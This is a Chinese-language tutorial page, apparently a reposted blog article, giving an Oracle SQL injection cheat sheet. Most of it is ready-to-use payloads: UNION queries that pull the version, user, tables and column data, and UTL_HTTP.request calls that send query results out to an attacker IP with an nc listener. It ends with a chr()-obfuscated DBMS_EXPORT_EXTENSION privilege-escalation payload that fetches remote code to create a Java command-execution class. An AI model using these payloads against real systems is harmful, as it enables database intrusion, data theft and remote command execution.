oracle注入方法,oracle注入方法

①判断是否为Oralce数据库:

And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库

②猜解字段数量:

使用order by 或者group by逐个提交数字 直到回显错误页面

③列出字段数目 比如6个字段数目

and  1=1 null,null,null,null,null,null from dual—

因为ORACLE数据库是不自动匹配数据类型的,而null可以匹配任意数据类型,所以这样提交不会报错。 提交它返回了正常页面.

现在来检测当前字段的数据类型,在null的前后加上‘’引号,如果返回正常则说明该字段为字符型,如果返回错误有可能是数字型的,如果不是数字型,那么就是其它类型

例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–

④读取Oracle数据库版本:

把回显的数字替换成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–

⑤读取Oracle当前数据库连接用户名:

and 1=2 union select 1,(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual),3,’4′,5,’6′ from dual–

⑥读取当前网站的操作系统的版本:

and 1=2 union select 1,(select member from v$logfile where rownum=1),3,’4′,5,’6′ from dual—

⑦读取表名:

and 1=2 union select 1,TABLE_NAME,3,’4′,5,’6′ from USER_TABLES–

⑧读取表中字段名:

and 1=2 union select 1,COLUMN_NAME,3,’4′,5,’6′ from COLS where TABLE_NAME=’要爆的表名’–

⑨读取表中字段名的数据:

and 1=2 union select 1,NAME,3,’4′,5,’6′ from 字段名–

——————————–

⑩判断UTL_HTTP包是否存在 :

select count(*) from all_objects where object_name=’UTL_HTTP’

利用UTL_HTTP注入 :

在本地用NC监听,使用’and UTL_HTTP.request(‘http://IP:2009/’(查询语句))=1–的形式 . 本地先 nc -l -vv -p 2009,然后提交

‘and UTL_HTTP.request(‘http://IP:2009/’(select banner from sys.v_$version where rownum=1))=1–

‘and UTL_HTTP.request(‘http://ip:2009/’(select owner from all_tables where rownum=1))=1–   爆出第一个库

‘and UTL_HTTP.request(‘http://IP:2009/’(select owner from all_tables where owner<>’第一个库名’ and rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’(select owner from all_tables where owner<>’第二个库名’ and owner<>’第一个库名’ and rownum=1))=1–

爆表 :

‘and UTL_HTTP.request(‘http://IP:2009/’(select TABLE_NAME from all_tables where owner=’库名’and rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’(select TABLE_NAME from all_tables where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’(select TABLE_NAME from all_tables where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’ and TABLE_NAME<>’第二个表名’))=1–

爆表列:

‘and UTL_HTTP.request(‘http://IP:2009/’(select count(*) from user_tab_columns where table_name=’表名’))=1–   第一个表列名

或者

‘and UTL_HTTP.request(‘http://IP:2009/’(select * from user_tab_columns where table_name=’表名’ and rownum=1))=1–  第一个表列名

‘and UTL_HTTP.request(‘http://IP:2009/’(select * from user_tab_columns where table_name=’表名’ and rownum=1 and COLUMN_NAME<>’第一个爆出的列名’))=1–

爆字段值:

‘and UTL_HTTP.request(‘http://IP:2009/’(select 表段 from 表名 where rownum=1))=1–

‘and UTL_HTTP.request(‘http://IP:2009/’(select 表段 from 表名 where rownum=1 and 表段<>’第一个表段值’))=1–”

利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数 获取系统权限 :

‘and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,BAR’,DBMS_OUTPUT”.PUT(1); utl_http.request (‘http://www.xx.com/1.txt’) END;–’,SYS’,0,’1′,0)=0–

假如提交后返回该页无法显示。换成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)chr(70)chr(79),chr(79)chr(39)chr(44),chr(39)chr(66)chr(65)chr(82)chr(39)chr(44)chr(39)chr(68)chr(66)chr(77)chr(883)chr(95)chr(79)chr(85)chr(84)chr(80)chr(85)chr(84)chr(40)chr(58)chr(80)chr(49)chr(41)chr(59)utl_http.request(chr(39)chr(104)chr(116)chr(116)chr(112)chr(58)chr(47)chr(47)chr(119)chr(119)chr(119)chr(46)chr(108)chr(105)chr(45)chr(116)chr(101)chr(107)chr(46)chr(99)chr(111)chr(109)chr(47)chr(49)chr(46)chr(116)chr(120)chr(116)chr(39))chr(69)chr(78)chr(68)chr(59)chr(45)chr(45)chr(39),chr(39)chr(83)chr(89)chr(83)chr(39),0,chr(39)chr(49)chr(39),0)=0–

远程地址的1.txt内容为 :EXECUTE IMMEDIATE ‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ”CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “JAVACMD” AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};”;END;’

http://www.dengb.com/oracle/485597.htmlwww.dengb.comtruehttp://www.dengb.com/oracle/485597.htmlTechArticle①判断是否为Oralce数据库: And 0(select count(*) from dual) 返回正常页面表示为Oracle数据库 ②猜解字段数量: 使用order by 或者group by逐个提交数字...

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值